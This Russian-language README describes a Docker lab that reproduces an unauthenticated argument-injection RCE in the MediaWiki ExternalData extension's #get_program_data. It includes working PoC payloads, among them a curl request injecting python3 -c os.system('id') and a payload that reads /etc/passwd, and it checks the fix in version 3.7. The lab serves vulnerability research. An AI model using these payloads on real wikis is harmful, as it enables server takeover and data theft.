Docker-лаборатория для воспроизведения CVE-2026-100382: неаутентифицированный RCE через инъекцию аргументов в #get_program_data расширения MediaWiki ExternalData, с PoC-полезными нагрузками и проверкой патча.
1.43 (официальный образ, SQLite) + ExternalData 3.6.1 (последняя уязвимая версия),
смонтирован только для чтения из ../mediawiki-extensions-ExternalData.127.0.0.1:${HOST_PORT} (по умолчанию 8080).action=parse включены (настройки MediaWiki по умолчанию) — для PoC вход не требуется.cd lab
./up.sh # устанавливает, загружает ExternalData 3.6.1, добавляет уязвимые источники, выводит URL
./down.sh # docker compose down -v + очистка .env
entrypoint.sh добавляет exec-источник, который отражает документированное назначение
#get_program_data — предоставить редакторам серверную программу, передавая пользовательский
параметр в командную строку — без ограничивающей записи param filters
(расширение её не требует):
$wgExternalDataSources['chart'] = [
'command' => 'python3 $options$ /srv/chart.py', // пользовательский параметр интерполируется
'params' => [ 'options' ],
'format' => 'text',
];
Предполагаемое использование: {{#get_program_data: program=chart | options=--dpi=120 }}
-> выполняет python3 --dpi=120 /srv/chart.py.
EDConnectorBase::supplementParams() интерполирует пользовательские параметры в общий для вики
шаблон command через strtr (EDConnectorBase.php:461-470,560).EDConnectorExe::__construct() выполняет explode(' ', $command)
(EDConnectorExe.php:92) — интерполированное пользовательское значение разбивается по пробелам на
отдельные токены argv без повторного экранирования.run() выполняет Shell::command($command)->execute() (EDConnectorExe.php:139).
Shell::command() экранирует каждый токен для оболочки, поэтому метасимволы оболочки (;, |)
инертны — это внедрение аргументов (CWE-88 / CWE-78), а не наивное внедрение команд
оболочки. Контроль над дополнительными argv целевой программы (здесь python3 -c)
даёт полное выполнение кода.command — встроенный источник-подстановка *
принудительно устанавливает command => null, что удаляет пользовательский command. Таким образом,
вектор — это интерполяция параметров в определённую администратором команду.$ payload: {{#get_program_data: program=greet | name=World; id | data=out=__text }}{{#external_value: out }}
Hello World; id
$ payload: {{#get_program_data: program=greet | name=a b c | data=out=__text }}{{#external_value: out }}
Hello a b c
$ curl -sS http://127.0.0.1:8080/api.php \
--data-urlencode action=parse --data-urlencode format=json \
--data-urlencode contentmodel=wikitext \
--data-urlencode "text={{#get_program_data: program=chart | options=-c __import__('os').system('id') | data=out=__text }}{{#external_value: out }}"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ options=-c print(open('/etc/passwd').read())
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
Переключение смонтированного расширения на тег 3.7 и повторный запуск ТОГО ЖЕ payload:
The class EDConnectorExe is disabled: instead of giving access to a local program,
consider using web access to a containerised application ... To enable it, a wiki
administrator will have to remove this class from the $wgExternalDataDisabledClasses
configuration setting.
3.7 отключает EDConnectorExe по умолчанию ($wgExternalDataDisabledClasses, Bug T434961).
Оговорка: код-приёмник не изменился — вики, которая удаляет EDConnectorExe из этого списка,
чтобы продолжать использовать #get_program_data, остаётся полностью уязвимой.